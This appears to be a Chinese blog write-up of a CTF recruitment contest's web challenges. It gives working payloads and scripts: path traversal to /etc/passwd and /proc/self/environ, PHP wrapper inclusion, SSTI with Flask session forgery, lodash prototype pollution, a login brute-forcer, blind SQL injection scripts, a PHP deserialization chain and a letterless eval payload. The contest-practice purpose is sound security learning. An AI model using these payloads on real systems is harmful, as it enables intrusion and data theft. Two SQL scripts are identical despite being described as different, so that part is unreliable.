某线上 Web 部分
Somemamgel / / CTF / 阅读量

菜就不说了

0x00 chenk_in

CNSSRecruit-Web-check_in.png

查看源代码发现关键信息:

CNSSRecruit-Web-check_in_1.png

访问后发现响应头里有 interesting_string:

CNSSRecruit-Web-check_in_2.png

用 base64 解之,得 flag: cnss{welcome_to_web_W0rld!}

0x01 True_check_in

CNSSRecruit-Web-True_check_in.png

算 $2^{33}=8589934592$。但是只能输 9 位数字,审查后发现是在前端做了限制,那就用 Burpsuite 抓个包改一改吧:

CNSSRecruit-Web-True_check_in_1.png

得 flag: cnss{We1c0me_t0_web_w0r1d}

0x02 warm_up

CNSSRecruit-Web-warm_up.png

根据提示添加 X-Forwarded-ForReferer 以及修改 User-Agent,发包得到 flag:

CNSSRecruit-Web-warm_up.png

flag: cnss{my_co0l_cool_cnss_browser}

0x03 GAY' Profile

CNSSRecruit-Web-GAY' Profile.png

上来先康康 ta 的首页源代码,让我们访问 /source :

CNSSRecruit-Web-GAY_ Profile_1.png

CNSSRecruit-Web-GAY_ Profile_2.png

是 Python 代码,将其格式化:

from flask import Flask, request app = Flask(__name__) @app.route('/')


def index():
    index = r"""
Gay or not gay, that is a question.

Let's see.

Go get your own profile.
"""
    return index @app.route('/file')


def profile():
    filename = './' + request.args['name']
    try:
        content = open(filename).read()
        return content, 200
    except Exception:
        return 'Error in reading your profile', 500 @app.route('/source')


def source():
    source = open(__file__).read()
    return source


if __name__ == '__main__':
    app.run('0.0.0.0', 8080)

从首页点击链接访问:

CNSSRecruit-Web-GAY_ Profile_3.png

审计后发现这里的 name 参数存在目录穿越漏洞,令 name=../../../../../etc/passwd 验证一下:

CNSSRecruit-Web-GAY_ Profile_4.png

发现漏洞存在。这里最后猜了一下根目录下的 /flag,得到 flag:

CNSSRecruit-Web-GAY_ Profile_5.png

flag: cnss{int3rest1ng_pyth0n}

0x04 love_reading

CNSSRecruit-Web-love_reading.png

CNSSRecruit-Web-love_reading_1.png

嗯...热爱读书,还有首页的关键词 robot,那就去读一读 robots.txt吧:

CNSSRecruit-Web-love_reading_2.png

访问 s4cret.php 后是一片空白:

CNSSRecruit-Web-love_reading_3.png

首页描述提到了 Linux,应该是 vim 编辑中存在的 swp 交换文件吧。

swp 文件是非正常关闭vi/vim编辑器时会生成的一个文件
Linux 下使用 vi/vim,经常可以看到 swp 这个文件,当你打开一个文件,vi就会生成一个 .(filename).swp文件 以备不测,如果你正常退出,那么这个这个 swp 文件将会自动删除 。 返回 404 Not Found

根据 Hint1 尝试访问 .index.php.swp.s4cret.php.swp,得到文件一个:

CNSSRecruit-Web-love_reading_4.png

用 vim -r 恢复之后的文件内容:

Evil robot take my love. I only know that he uses linux.
<?php
if (!(isset($_GET['key']) && isset($_GET['f']))) {
    die();
} else {
    $path = $_GET['key'];
    $data = file_get_contents($path);
    if ($data != "zhi ma kai men!") {
        die("no no nope");
    }
    $f = $_GET['f'];
    include $f;
}

看来只要令 key 参数使得运行后使得 data="zhi ma kai men!"f 不为空就行了,那就利用 php://input 让本应该从文件中读取的数据变成我们输入的数据:

CNSSRecruit-Web-love_reading_5.png

再利用 php://filter 去读取文件并回显:

CNSSRecruit-Web-love_reading_6.png

base64 解密得 flag:

<?php
//cnss{I_LOve_reading_what_ab0ut_youXD?};
?>

flag: cnss{I_LOve_reading_what_ab0ut_youXD?}

0x05 GAY' Profile Plus

CNSSRecruit-Web-GAY' Profile Plus.png

Plus 版本的首页源码中依然让我们康康 /source:

from flask import Flask, request import os, string app = Flask(__name__) @app.route('/')


def index():
    index = r"""
Gay or not a gay, that is not a question.

Let's see.

Go get your own profile.
"""
    return index @app.route('/file')


def profile():
    filename = os.path.join('./', request.args['name'])
    try:
        if os.path.abspath(filename).startswith(os.getcwd()) and filename != './profile':
            return 'No No No', 422
        content = open(filename).read()
        return content, 200
    except Exception:
        return 'Error in reading your profile', 500 @app.route('/source')


def source():
    source = open(__file__).read()
    return source


if __name__ == '__main__':
    app.run('0.0.0.0', 8080)

似乎还是目录穿越,读取 /etc/passwd:

CNSSRecruit-Web-GAY_ Profile Plus_1.png

但是语句

if os.path.abspath(filename).startswith(os.getcwd()) and filename != './profile'

作了限定。当 filename 的绝对路径在当前工作目录下,且文件名为 profile 或者 filename 的绝对路径不在当前工作目录时才读取文件内容。可是题目说 flag 文件在工作目录下,怎么读取呢....

这时候用到了 Linux 系统中的 /proc 目录:

在许多类 Unix 计算机系统中, procfs进程 文件系统 (file system) 的缩写,包含一个伪文件系统(启动时动态生成的文件系统),用于通过内核访问进程信息。这个文件系统通常被挂载到 /proc 目录。由于 /proc 不是一个真正的文件系统,它也就不占用存储空间,只是占用有限的内存。

每个正在运行的进程对应于/proc下的一个目录,目录名就是进程的 PID,每个目录包含:

  • /proc/PID/cwd, 当前工作目录符号链接
  • /proc/PID/root, 该进程所能看到的根路径的符号链接。如果没有chroot监狱,那么进程的根路径是/
    ......
  • /proc/self (即/proc/PID/其中进程ID是当前进程的) 为当前进程的符号链接

——维基百科 procfs

这里就利用 /proc/self/cwd 去访问当前应用的工作目录:

CNSSRecruit-Web-GAY_ Profile Plus_2.png

访问 ./flag:

CNSSRecruit-Web-GAY_ Profile Plus_3.png

flag: cnss{Gre3e3ea4t_l1nux}

0x06 产品经理

CNSSRecruit-Web-产品经理.png

原以为是 SQL 注入,然而题目说用了 PDO,所以这个思路不对。

在使用PreparedStatement执行SQL命令时,命令会带着占位符被数据库进行编译和解析,并放到命令缓冲区。然后,每当执行同一个PreparedStatement语句的时候,由于在缓冲区中可以发现预编译的命令,虽然会被再解析一次,但不会被再次编译。而SQL注入只对编译过程有破坏作用,执行阶段只是把输入串作为数据处理,不需要再对SQL语句进行解析,因此解决了注入问题。因为SQL语句编译阶段是进行词法分析、语法分析、语义分析等过程的,也就是说编译过程识别了关键字、执行逻辑之类的东西,编译结束了这条SQL语句能干什么就定了。而在编译之后加入注入的部分,就已经没办法改变执行逻辑了,这部分就只能是相当于输入字符串被处理。
作者:不二
链接:https://www.zhihu.com/question/43581628/answer/153847199
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

阅读题目给出的源码,在 db.sql 中发现建表的 SQL 语句:

CREATE DATABASE IF NOT EXISTS cnss;

USE cnss;

CREATE TABLE IF NOT EXISTS products (name char(64),secret char(64),description varchar(250));

INSERT INTO products VALUES('happyship', sha2('efiuyf93fhewof3yhnokleohfecweefewf', 256), '1'),
('happybus', sha2('efoh3fio3h2fo3hdewyfew890f', 256), '2'),
('happycar', sha2('ewlkfhj3io4fhewcbjkleouihfcrfw', 256), '3'),
('happyplane', sha2('ewfgjkewhfui3h2f32', 256), '4');

其中的三个键 name secret description没有 UNIQUE 约束

在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果是一样的

SELECT * FROM users WHERE username='vampire';
SELECT * FROM users WHERE username='vampire ';

db.php 文件中执行插入的语句为:

INSERT INTO products (name, secret, description) VALUES (?, ?, ?)

查询产品的语句为:

SELECT name, description FROM products WHERE name = ?

其中还有注释提示:

/*
...
INSERT INTO products VALUES('cnss', sha256(....), 'FLAG_HERE');
...
*/

根据提示 flag 在 namecnss 的记录的 description 字段中

查询页 view.php 验证 secret 的语句:

SELECT name FROM products WHERE name = ? AND secret = ?

本地验证:

CNSSRecruit-Web-产品经理_1.png

查询结果第一行就是原本的记录,而且能通过查询页的验证

那么就令 namecnss 后跟若干空格:

CNSSRecruit-Web-产品经理_2.png

得到 flag:

CNSSRecruit-Web-产品经理_3.png

flag: cnss{Easy_c0de_aud1t!!!}

0x07 蟒蛇-Login_in

CNSSRecruit-Web-蟒蛇-Login_in.png

提示说验证码是取 md5 码前三位等于所给字符串的 4 位数字,写个脚本打表:

import hashlib
def CreateTable():
    for x1 in range(0, 10):
        for x2 in range(0, 10):
            for x3 in range(0, 10):
                for x4 in range(0, 10):
                    f = open("./md5.txt", "a")
                    str1 = chr(48+x1)+chr(48+x2)+chr(48+x3)+chr(48+x4)
                    str_md5 = hashlib.md5(str1.encode("utf-8"))
                    temp = str_md5.hexdigest()
                    temp = temp[:3]
                    f.write("%s %s\n" % (temp, str1))
                    f.close()

爆破:

import hashlib
import requests
import re
import time

url = 'http://64.156.14.99:32785/index.php'

def attack():
    for x1 in range(0, 10):
        for x2 in range(0, 10):
            for x3 in range(0, 10):
                x4 = 0
                while x4 < 10:
                    f = open("./login.log", "a")
                    password = chr(48+x1)+chr(48+x2)+chr(48+x3)+chr(48+x4)
                    print("Trying: %s" % password)
                    f.write("Trying: %s\n" % password)
                    html = requests.get(url)
                    # phrase = 'Verification code   md5(code)[:3]:    9a9'
                    code_md5 = re.findall(r']:    (\w{3})', html.text)[0]
                    code = GetValidCode(code_md5)
                    data = {'password': password, 'code': code}
                    read = requests.post('{url}'.format(
                        url=url), data=data, cookies=html.cookies)
                    read.encoding = "utf-8"
                    if 'Dont try again,use the correct' in read.text:
                        print("Retrying...")
                        f.write("Retrying...\n")
                        f.close()
                        continue
                    if '密码错误' not in read.text:
                        print("Done! ")
                        f.write("Done! \n")
                        exit(1)
                    x4 += 1
                    f.close()


def GetValidCode(code_md5):
    for x1 in range(0, 10):
        for x2 in range(0, 10):
            for x3 in range(0, 10):
                for x4 in range(0, 10):
                    str1 = chr(48+x1)+chr(48+x2)+chr(48+x3)+chr(48+x4)
                    str_md5 = hashlib.md5(str1.encode("utf-8"))
                    temp = str_md5.hexdigest()
                    temp = temp[:3]
                    if (temp == code_md5):
                        return str1


if __name__ == "__main__":
    attack()


先用正则表达式获取三位验证码,因为已知验证码是 4 位数字组合的 md5 取前三位,所以可以暴力算 md5 是否相等。因为有两次请求,一次 GET 请求获取验证码,第二次 POST 请求进行 4 位密码的暴力破解,因此需要令两次请求 Cookie 相同才能使验证码通过。

然后这里第四个循环用 while,因为有时候请求会失败,需要重新尝试当前的组合。然后这里将输出写入 login.log 文件中,这样就可以丢进服务器跑然后起床起来就能有结果了。

最后输入跑出来的密码得到 flag:

CNSSRecruit-Web-蟒蛇-Login_in_1.png

flag: cnss{Pyth0n_1S_Ea3y_!!!!!}

0x08 True_Love

CNSSRecruit-Web-True_Love.png

开局两个 Hint,/admin 页面提示要以 admin 身份登录,查看 burpsuite 抓包,考虑是 session 伪造。访问 {{config}} 触发 SSTI:

CNSSRecruit-Web-True_love_1.png

从中得知 SECRECT_KEY 的值,于是可以利用 flask-session-manager 这个工具进行 session 伪造:

CNSSRecruit-Web-True_love_2.png

CNSSRecruit-Web-True_love_3.png

访问 /admin,并替换 session,用火狐的 Hackbar、Chrome 的 EditThisCookie 或者 Burpsuite 均可:

CNSSRecruit-Web-True_love_4.png

CNSSRecruit-Web-True_love_5.png

flag: cnss{EZ_S5T1_4_EZ_L1FE}

0x09 GAY' Profile Plus Plus

CNSSRecruit-Web-GAY' Profile Plus Plus.png

访问 /proc/self/environ 即可得到 flag:

CNSSRecruit-Web-GAY_ Profile Plus Plus_1.png

flag: cnss{I_L0v3_ENVIRON}

0x0A GAY' Profile Plus Plus Plus

CNSSRecruit-Web-GAY' Profile Plus Plus Plus.png

阅读 index.ts

router.get('/file', async (ctx: Router.RouterContext) => {
    let file = ctx.request.query.name;

    if (!file && !ctx.__proto__.name) {
        ctx.body = 'No No No...';
        ctx.status = 422;
        return;
    } else if (file && file.indexOf('flag') !== -1){
        ctx.body = 'No No No...';
        ctx.status = 403;
        return;
    } else if (!file){
        file = ctx.__proto__.name;
    }

似乎最后的 file = ctx.__proto__.name 能被利用,并且只要 file 值为空且 ctx.__proto__.name 存在即可执行最后一个分支。从 package.json 中能发现 lodash 的版本为 4.17.11,搜索可知该版本能被原型链污染攻击。那么构造一个 data 去污染原型链:{"constructor": {"prototype": {"name": "../flag"}}} 放入 Burpsuite 或者直接使用浏览器提交后访问 /save?file= 即可获得 flag:

CNSSRecruit-Web-GAY_ Profile Plus Plus Plus_1.png

CNSSRecruit-Web-GAY_ Profile Plus Plus Plus_2.png

CNSSRecruit-Web-GAY_ Profile Plus Plus Plus_3.png

flag: cnss{I_lov3_typ3scr1pt!!}

0x0B baby_sql

CNSSRecruit-Web-baby_sql.png

使用 updatexml 进行报错注入,例:id=1'and+updatexml(0x7e,concat(0x7e,(version())),0)--

将 version() 替换为子查询

flag: cnss{So_easy_sqli_like_a_baby}

0x0C easy_sql

CNSSRecruit-Web-easy_sql.png

一开始使用延时盲注注出来了 flag 非预期解?,结果后来出题人说延时盲注不行。后面用的 hard_sql 的 BIGINT 溢出报错注入,脚本如下:

import hashlib
import requests
import re
import time

url = 'http://47.107.115.177:9527'


def get_table_name():
    # f14444444g,gays
    res = ''
    for i in range(1, 50):
        for num in range(127, 30, -1):
            id_payload = "1\'%26%09~(ord((mid((Select(group_concat(table_name))from(information_schema.tables)where(table_schema)LIKE(database())),{i},1)))>{key})%2b1%09%26\'#".format(i=i, key=num)
            html = requests.get(url)
            code = re.findall(r'=== (.{4})', html.text)[0]
            html2 = requests.get("{url}/?code={code}&id={id}".format(url=url, id=id_payload, code=code), cookies=html.cookies)
            if 'BIGINT' not in html2.text:
                res += chr(num+1)
                print("\r", res, end='', flush=True)
                break
            if num == 31:
                print("\n")
                return 0


def get_column_name():
    # not_gay,F14G,is_gay
    res = ''
    for i in range(1, 50):
        for num in range(127, 30, -1):
            id_payload = "1\'%26%09~(ord((mid((Select(group_concat(column_name))from(information_schema.columns)where(table_name)LIKE(\'f14444444g\')),{i},1)))>{key})%2b1%09%26\'#".format(i=i, key=num)
            html = requests.get(url)
            code = re.findall(r'=== (.{4})', html.text)[0]
            html2 = requests.get("{url}/?code={code}&id={id}".format(url=url, id=id_payload, code=code), cookies=html.cookies)
            if 'BIGINT' not in html2.text:
                res += chr(num+1)
                print("\r", res, end='', flush=True)
                break
            if num == 31:
                print("\n")
                return 0


def get_flag():
    # cnss{Ez_sqli_not_so_Hard:)}
    res = ''
    for i in range(1, 50):
        for num in range(127, 30, -1):
            id_payload = "1\'%26%09~(ord((mid((Select(F14G)from(f14444444g)),{i},1)))>{key})%2b1%09%26\'#".format(i=i, key=num)
            html = requests.get(url)
            code = re.findall(r'=== (.{4})', html.text)[0]
            html2 = requests.get("{url}/?code={code}&id={id}".format(url=url, id=id_payload, code=code), cookies=html.cookies)
            if 'BIGINT' not in html2.text:
                res += chr(num+1)
                print("\r", res, end='', flush=True)
                break
            if num == 31:
                print("\n")
                return 0


if __name__ == "__main__":
    get_table_name()
    get_column_name()
    get_flag()

flag: cnss{Ez_sqli_not_so_Hard:)}

0x0D normal_sql

CNSSRecruit-Web-normal_sql.png

这题原本顺着 easy_sql 的延时盲注思路,过滤了一些字符,改一下就是本题的延时盲注脚本,这里还用了二分查找加快速度:

import hashlib
import requests
import re
import time

url = 'http://47.107.115.177:9527'


def get_table_name():
    # f14444444g,gays
    res = ''
    for i in range(1, 50):
        for num in range(127, 30, -1):
            id_payload = "1\'%26%09~(ord((mid((Select(group_concat(table_name))from(information_schema.tables)where(table_schema)LIKE(database())),{i},1)))>{key})%2b1%09%26\'#".format(i=i, key=num)
            html = requests.get(url)
            code = re.findall(r'=== (.{4})', html.text)[0]
            html2 = requests.get("{url}/?code={code}&id={id}".format(url=url, id=id_payload, code=code), cookies=html.cookies)
            if 'BIGINT' not in html2.text:
                res += chr(num+1)
                print("\r", res, end='', flush=True)
                break
            if num == 31:
                print("\n")
                return 0


def get_column_name():
    # not_gay,F14G,is_gay
    res = ''
    for i in range(1, 50):
        for num in range(127, 30, -1):
            id_payload = "1\'%26%09~(ord((mid((Select(group_concat(column_name))from(information_schema.columns)where(table_name)LIKE(\'f14444444g\')),{i},1)))>{key})%2b1%09%26\'#".format(i=i, key=num)
            html = requests.get(url)
            code = re.findall(r'=== (.{4})', html.text)[0]
            html2 = requests.get("{url}/?code={code}&id={id}".format(url=url, id=id_payload, code=code), cookies=html.cookies)
            if 'BIGINT' not in html2.text:
                res += chr(num+1)
                print("\r", res, end='', flush=True)
                break
            if num == 31:
                print("\n")
                return 0


def get_flag():
    # cnss{Ez_sqli_not_so_Hard:)}
    res = ''
    for i in range(1, 50):
        for num in range(127, 30, -1):
            id_payload = "1\'%26%09~(ord((mid((Select(F14G)from(f14444444g)),{i},1)))>{key})%2b1%09%26\'#".format(i=i, key=num)
            html = requests.get(url)
            code = re.findall(r'=== (.{4})', html.text)[0]
            html2 = requests.get("{url}/?code={code}&id={id}".format(url=url, id=id_payload, code=code), cookies=html.cookies)
            if 'BIGINT' not in html2.text:
                res += chr(num+1)
                print("\r", res, end='', flush=True)
                break
            if num == 31:
                print("\n")
                return 0


if __name__ == "__main__":
    get_table_name()
    get_column_name()
    get_flag()

flag: cnss{Ez_sqli_not_so_Hard:)}

0x0E hard_sql

CNSSRecruit-Web-hard_sql.png

经测试,只有 sql 语句报错时页面才会返回 Something Wrong!

于是想到了对 0 取反再加 1 就会溢出,导致 SQL 语句报错

脚本如下:

import hashlib
import requests
import re
import time
import math

url = 'http://test.evi0sdev.xyz:38004'

dic = ['_', ',', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D','E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`']

def get_valid_code(code):
    for x1 in dic:
        for x2 in dic:
            for x3 in dic:
                for x4 in dic:
                    str1 = x1+x2+x3+x4
                    str_md5 = hashlib.md5(str1.encode("utf-8"))
                    temp = str_md5.hexdigest()
                    temp = temp[:4]
                    if temp == code:
                        return str1

def get_schema_name_bins():
    res = ''
    i = 1
    while (1):
        max_num = 127
        min_num = 32
        while (min_num<=max_num):
            num = math.floor((max_num+min_num)/2)
            id_payload = "1\' union Select ~(ord(mid((Select(group_concat(schema_name))from infoRmation_schema.schemata),{i},1))={key})%2b1 and\'2".format(i=i, key=num)
            html = requests.get(url)
            code_md5 = re.findall(r']===(\w{4})', html.text)[0]
            code = get_valid_code(code_md5)
            html2 = requests.get("{url}/?id={id}&code={code}".format(url=url, id=id_payload, code=code), cookies=html.cookies)
            if 'Some' not in html2.text:
                res += chr(num)
                print("\r", res, end='', flush=True)
                i += 1
                break
            else:
                id_payload = "1\' union Select ~(ord(mid((Select(group_concat(schema_name))from infoRmation_schema.schemata),{i},1))>{key})%2b1 and\'2".format(i=i, key=num)
                html = requests.get(url)
                code_md5 = re.findall(r']===(\w{4})', html.text)[0]
                code = get_valid_code(code_md5)
                html2 = requests.get("{url}/?id={id}&code={code}".format(url=url, id=id_payload, code=code), cookies=html.cookies)
                if 'Some' not in html2.text:
                    min_num = num + 1
                else:
                    max_num = num - 1
            if min_num>max_num:
                print("")
                return 0

def get_schema_name():
    res = ''
    for i in range(1, 50):
        for num in dic:
            id_payload = "1\' union Select ~(ord(mid((Select(group_concat(schema_name))from infoRmation_schema.schemata),{i},1))={key})%2b1 and\'2".format(i=i, key=ord(num))
            html = requests.get(url)
            code_md5 = re.findall(r']===(\w{4})', html.text)[0]
            code = get_valid_code(code_md5)
            html2 = requests.get("{url}/?id={id}&code={code}".format(url=url, id=id_payload, code=code), cookies=html.cookies)
            if 'Some' not in html2.text:
                res += num
                print(res)
                break
            if num == '`':
                print(res)
                return 0

def get_table_name_bins():
    res = ''
    i = 1
    while (1):
        max_num = 127
        min_num = 32
        while (min_num<=max_num):
            num = math.floor((max_num+min_num)/2)
            id_payload = "1\' union Select ~(ord(mid((Select(group_concat(table_name))from infoRmation_schema.tables where table_schema='FLAGGGG'),{i},1))={key})%2b1 and\'2".format(i=i, key=num)
            html = requests.get(url)
            code_md5 = re.findall(r']===(\w{4})', html.text)[0]
            code = get_valid_code(code_md5)
            html2 = requests.get("{url}/?id={id}&code={code}".format(url=url, id=id_payload, code=code), cookies=html.cookies)
            if 'Some' not in html2.text:
                res += chr(num)
                print("\r", res, end='', flush=True)
                i += 1
                break
            else:
                id_payload = "1\' union Select ~(ord(mid((Select(group_concat(table_name))from infoRmation_schema.tables where table_schema='FLAGGGG'),{i},1))>{key})%2b1 and\'2".format(i=i, key=num)
                html = requests.get(url)
                code_md5 = re.findall(r']===(\w{4})', html.text)[0]
                code = get_valid_code(code_md5)
                html2 = requests.get("{url}/?id={id}&code={code}".format(url=url, id=id_payload, code=code), cookies=html.cookies)
                if 'Some' not in html2.text:
                    min_num = num + 1
                else:
                    max_num = num - 1
            if min_num>max_num:
                print("")
                return 0

def get_table_name():
    res = ''
    for i in range(1, 50):
        for num in range(127, 30, -1):
            id_payload = "1\' union Select ~(ord(mid((Select(group_concat(table_name))from infoRmation_schema.tables where table_schema='FLAGGGG'),{i},1))={key})%2b1 and\'2".format(i=i, key=num)
            html = requests.get(url)
            code_md5 = re.findall(r']===(\w{4})', html.text)[0]
            code = get_valid_code(code_md5)
            html2 = requests.get("{url}/?id={id}&code={code}".format(url=url, id=id_payload, code=code), cookies=html.cookies)
            if 'Some' not in html2.text:
                res += chr(num)
                print(res)
                break
            if num == 31:
                print(res)
                return 0

def get_flag_bins():
    res = ''
    i = 1
    while (1):
        max_num = 127
        min_num = 32
        while (min_num<=max_num):
            num = math.floor((max_num+min_num)/2)
            id_payload = "1\' union Select ~(ord(mid((Select group_concat(`1`) from (Select 1 union Select * from FLAGGGG.F1444444ggg)a),{i},1))={key})%2b1 and\'2".format(i=i, key=num)
            html = requests.get(url)
            code_md5 = re.findall(r']===(\w{4})', html.text)[0]
            code = get_valid_code(code_md5)
            html2 = requests.get("{url}/?id={id}&code={code}".format(url=url, id=id_payload, code=code), cookies=html.cookies)
            if 'Some' not in html2.text:
                res += chr(num)
                print("\r", res, end='', flush=True)
                i += 1
                break
            else:
                id_payload = "1\' union Select ~(ord(mid((Select group_concat(`1`) from (Select 1 union Select * from FLAGGGG.F1444444ggg)a),{i},1))>{key})%2b1 and\'2".format(i=i, key=num)
                html = requests.get(url)
                code_md5 = re.findall(r']===(\w{4})', html.text)[0]
                code = get_valid_code(code_md5)
                html2 = requests.get("{url}/?id={id}&code={code}".format(url=url, id=id_payload, code=code), cookies=html.cookies)
                if 'Some' not in html2.text:
                    min_num = num + 1
                else:
                    max_num = num - 1
            if min_num>max_num:
                print("")
                return 0

def get_flag():
    res = ''
    for i in range(1, 50):
        for num in range(127, 30, -1):
            id_payload = "1\' union Select ~(ord(mid((Select group_concat(`1`) from (Select 1 union Select * from FLAGGGG.F1444444ggg)a),{i},1))={key})%2b1 and\'2".format(i=i, key=num)
            html = requests.get(url)
            code_md5 = re.findall(r']===(\w{4})', html.text)[0]
            code = get_valid_code(code_md5)
            html2 = requests.get("{url}/?id={id}&code={code}".format(url=url, id=id_payload, code=code), cookies=html.cookies)
            if 'Some' not in html2.text:
                res += chr(num)
                print(res)
                break
            if num == 31:
                print(res)
                return 0

if __name__ == "__main__":
    get_schema_name_bins()
    get_table_name_bins()
    get_flag_bins()
    #get_schema_name()
    # FLAGGGG,cnss,information_schema,mysql,performance
    #get_table_name()
    # (F1444444ggg)(FLAGGGG) (Not_here,gays)(cnss)
    #get_flag()
    # cnss{In_the_n5me_of_LOVE} (FLAGGGG.F1444444ggg) flag is not here

flag: cnss{In_the_n5me_of_LOVE}

0x0F [BOSS] Get Me Inside

CNSSRecruit-Web-[BOSS] Get Me Inside.png

最后一题做不出来,我太菜了

index.php 页面如下:

<?php

$flag = 0;

class Deep{
    public $m1;
    public $m2;
    public function __destruct(){
        $this->m1->boy();
    
}

}

class Dark{
    public $m1;
    public $m2;
    public function boy(){
        $this->m1->next_door();
    
}

}

class Fantasy{
    public $m1;
    public $m2;
    public function __call($next_door,$arr){
        $s = $this->m1;
        $s();
    
}

}

class Happy{
    public $m1;
    public $m2;
    public function __invoke(){
        $this->m2="cnss".$this->m1;
    
}

}

class New_year{
    public $s1;
    public $s2;
    public function __toString(){
        $this->s1->not_copied_shell();
        return "1";
    
}

}

class Copied_from_somewhere{
    public function not_copied_shell(){
        global $flag;
        $flag = 1;
    
}

}

$a = $_GET['p'];

unserialize($a);

if($flag === 1){
    if(!isset($_GET['c'])){
        die("?");
    
}
    $code = $_GET['c'];
    if(strlen($code)>37){
        die("这么长会死的!");
    
}
    if(preg_match("/[A-Za-z0-9^!]+/",$code)){
        die("Catch you!");
    
}
    @eval($code);

}

show_source(__FILE__);
?>

看到类里有魔术方法,而且刚好构成一个链,只要最后能调用到 not_copied_shell() 就能令 flag = 1 进入 if 条件

这里参考了 PHP反序列化由浅入深 这篇文章,依次对各个类添加 __construct 方法,并输出序列化后的结果 O:4:"Deep":2:{s:2:"m1";O:4:"Dark":2:{s:2:"m1";O:7:"Fantasy":2:{s:2:"m1";O:5:"Happy":2:{s:2:"m1";O:8:"New_year":2:{s:2:"s1";O:21:"Copied_from_somewhere":0:{}s:2:"s2";N;}s:2:"m2";N;}s:2:"m2";N;}s:2:"m2";N;}s:2:"m2";N;}

然后 Google 找了几篇文章

一些不包含数字和字母的webshell

无字母数字webshell之提高篇

PHP不使用数字,字母和下划线写shell

[Real World CTF Of “The Return of One Line PHP Challenge”]( https://www.smi1e.top/real-world-ctf-of-the-return-of-one-line-php-challenge/ "Real World CTF Of "The Return of One Line PHP Challenge"")

因为这里过滤了 ^ 所以我们用取反 ~ 的方式绕过。phpinfo 取反后用 url 编码是 %8F%97%8F%96%91%99%90。令参数 c = (~%8F%97%8F%96%91%99%90)(); 即可得到 phpinfo 页面:

可以看到过滤了几乎所有的敏感函数。且 eval 只能解析一次,${} 里的语句也只能解析一次。对 phpinfo 页面 POST 一个文件之后能在 _FILES 变量中看到临时文件,但是不知道怎么执行它,然后我就不知道怎么 getshell 了,等一个出题人 WP。。。

可以使用 LD_PRELOAD 的方式绕过 disable_function 的限制,参考了 这位大佬 ,但是做到最后,利用 Phar 还是只能打开 phpinfo() 界面,可能无法复现该题了

有 0 篇文章